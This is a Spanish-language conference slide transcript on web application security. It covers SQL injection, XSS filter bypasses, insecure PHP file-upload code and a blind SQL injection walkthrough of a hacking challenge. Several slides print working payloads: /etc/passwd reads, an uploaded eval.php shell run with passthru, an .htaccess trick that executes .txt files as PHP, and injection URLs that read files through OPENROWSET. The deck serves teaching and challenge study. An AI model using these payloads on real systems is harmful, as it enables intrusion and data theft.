Asegúr@IT II - Seguridad en Web

download Asegúr@IT II - Seguridad en Web

If you can't read please download the document

Transcript of Asegúr@IT II - Seguridad en Web

  1. 1. Cuidado con lo que te comes Jose Palazn (a.k.a. palako)
  2. 2. ' or 1=1--
    • Hay vida despus de ' ?
      • SQL Injection
      • parametros numericos
      • utf-* y unicode
      • /**/
      • blind sql injection
      • blind con consultas pesadas
  3. 3.
    • Y si filtro
    • javascript:
    • style href=javascript:
    • style href= http://ha.ckhers.org/xss.css
    • style expression()
    • style url()
    • Cheat Sheet:http://ha.ckers.org/xss.html
    • httpOnly? XST
  4. 4. Que ms?
    • Remote File Inclusion
    • Local File Inclusion
    • Script code Execution
    • Shell code Execution
    • Full Path Disclosure
    • * injection
    • Parameter restrictions bypass
  5. 5.
    • WebAppSecurity/admin/documentos.php
    Documento:
  6. 6. globals if ( $doc ) { echo "Nuevo documento aadido
    " ; echo "tmp: ".$doc."" ; echo "Nombre: ".$doc_name."" ; echo "Tipo: ".$doc_type."" ; echo "Tamao: ".$doc_size."" ; copy ( $doc ,$docsPath . $doc_name ); }
  7. 7. globals
    • $doc puede venir por GET, POST,....
    • ?doc=/etc/passwd&doc_name=passwd
    • http://localhost/~palako/WebAppSecurity/admin/documentos.php?doc=/etc/passwd&doc_name=passwd
  8. 8. $_FILES if ( $_FILES ) { echo "Nuevo documento aadido
    " ; echo "tmp: ".$_FILES [ "doc" ][ "tmp_name" ] ."" ; echo "Nombre: ".$_FILES [ "doc" ][ "name" ] ."" ; echo "Tipo: ".$_FILES [ "doc" ][ "type" ] ."" ; echo "Tamao: ".$_FILES [ "doc" ][ "size" ] . "" ; if ( is_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ])) move_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ],$docsPath . $_FILES [ "doc" ][ "name" ]); else echo "
    ERROR: No se puede acceder al fichero
    " ; }
  9. 9. Sin filtros
    • Se puede subir cualquier tipo de fichero
      • eval.php
    • http://localhost/~palako/WebAppSecurity/admin/docs/eval.php?command=passthru('uname-a');
      • LFI: cat /etc/passwd
      • Source code disclosure: cat documentos.php
  10. 10. $FILES[doc][type] function tipoValido( $type ) { $tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png', 'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array ( $type ,$tiposValidos )); }
  11. 11. $_FILES[doc][type]
    • POST tampering
    • Cambiar HTTP Content-type en la peticin
  12. 12. mime_content_type function tipoValido2( $doc ) { $tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png', 'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array ( trim ( mime_content_type ( $doc )), $tiposValidos )); }
  13. 13. mime_content_type
    • magic numbers
    • el comando file
    • /usr/share/file/magic(.mime)
      • /usr/share/misc en linux
    • 0stringGIFimage/gif
    • 0beshort0xffd8image/jpeg
  14. 14. $files[doc][name] functionextensionValida( $docName ) { $extensionesProhibidas =array ('php' , ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return (! in_array ( $partes [1], $extensionesProhibidas )); return ( false ); }
  15. 15. extensiones prohibidas
    • .inc, .php5
    • Solo filtras lo que TU conoces
    • Mejor permitir lo conocido como bueno
  16. 16. eregi() functionextensionValida2( $docName ) { $extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' , 'txt' ); foreach ( $extensionesValidas as $ext ) if ( eregi ( $ext ,$docName )) return ( true ); return ( false );}
  17. 17. eregi()
    • Extension valida en cualquier parte del fichero
    • Es muy dificil hacer un buen filtro con expresiones regulares
    • Bloqueos no deseados
  18. 18. extensiones permitidas functionextensionValida3( $docName ) { $extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' , 'txt' ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return ( in_array ( $partes [1],$extensionesValidas )); return ( false ); }
  19. 19. extensiones permitidas
    • Mas de un punto en el nombre del fichero
    • A veces no se pueden filtrar todas las extensiones permitidas
      • ej. attachements en un webmail
  20. 20. que tiene de malo un .txt? functionextensionValida4( $docName ) { $extensionesProhibidas =array ('php' , 'php3' , 'php4' , 'php5' , 'inc' , 'shtml' ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return (! in_array ( $partes [ count ( $partes )-1], $extensionesProhibidas )); return ( false ); }
  21. 21. Que tiene de malo un .txt?
    • AllowOverride FileInfo
    • AllowOverride All
    • .htaccess
      • AddType application/x-httpd-php .php .txt
      • eval.txt
  22. 22. Vivimos para los retos hacking Reto V. Fase II.
  23. 23. Reto V. Fase II.
    • http://retohacking5.elladodelmal.com/privado/Nivel2.aspx
    • La inscripcion en el mono
    • ho pdsd txh wh oohydud d uhvroyhu ho sxcoh vh hqfxhqwud hq od fdushwd uhfxuvrv gh od xqlgdg sulqflsdo
    • Desplazamiento 4 a la izquierda
    • el mapa que te ayudara a resolver el puzle se encuentra en la carpeta recursos de la unidad principal
  24. 24. Reto V. Fase II.
    • Blind sqlinjection
    • ObtenerDatosPaso2.aspx?idObjeto=1
      • contenido=No pienso agacharme a coger ese objeto
    • ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=1--
      • contenido=No pienso agacharme a coger ese objeto
    • ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=2--
      • contenido=No conozco el objeto
  25. 25. Reto V. Fase II
    • Tablas y columnas
    • 1%20union%20select%201--
      • contenido=No pienso agacharme a coger ese objeto
    • 1%20union%20select%201,1--
      • contenido=
    • 1%20union%20select%201%20from%20INFORMATION_SCHEMA.TABLES--
      • contenido=
    • 1%20union%20select%201%20from%20sysobjects--
      • contenido=No pienso agacharme a coger ese objeto
    • 1%20union%20select%201%20from%20syscolumns--
      • contenido=No pienso agacharme a coger ese objeto
  26. 26. Reto V. Fase II
    • -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name='objetos';--
      • contenido=No pienso agacharme a coger ese objeto
    • -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3C%20'objetos';--
      • contenido=No conozco el objeto
    • -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3E%20'objetos';--
      • contenido=No conozco el objeto
  27. 27. Reto V. Fase II
    • -1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name='id';--
      • contenido=No pienso agacharme a coger ese objeto
    • -1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3C'id';--
      • contenido=No conozco el objeto
    • 1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3E'id';--
      • contenido=No conozco el objeto
  28. 28. Reto V. Fase II
    • OPENROWSET
    • http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=-1%20union%20select%201%20where%20@@version%20like%20'microsoft%20sql%20server%202005%20-%209.00.1399.06%20_intel%20x86_%20_%'--
    • microsoft sql server 2005 - 9.00.1399.06_intel x86_
    • http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1;SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document);--
    • http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1%20and%20(len((SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document))=3675);--
    • Ver exploit retoV_F2.pl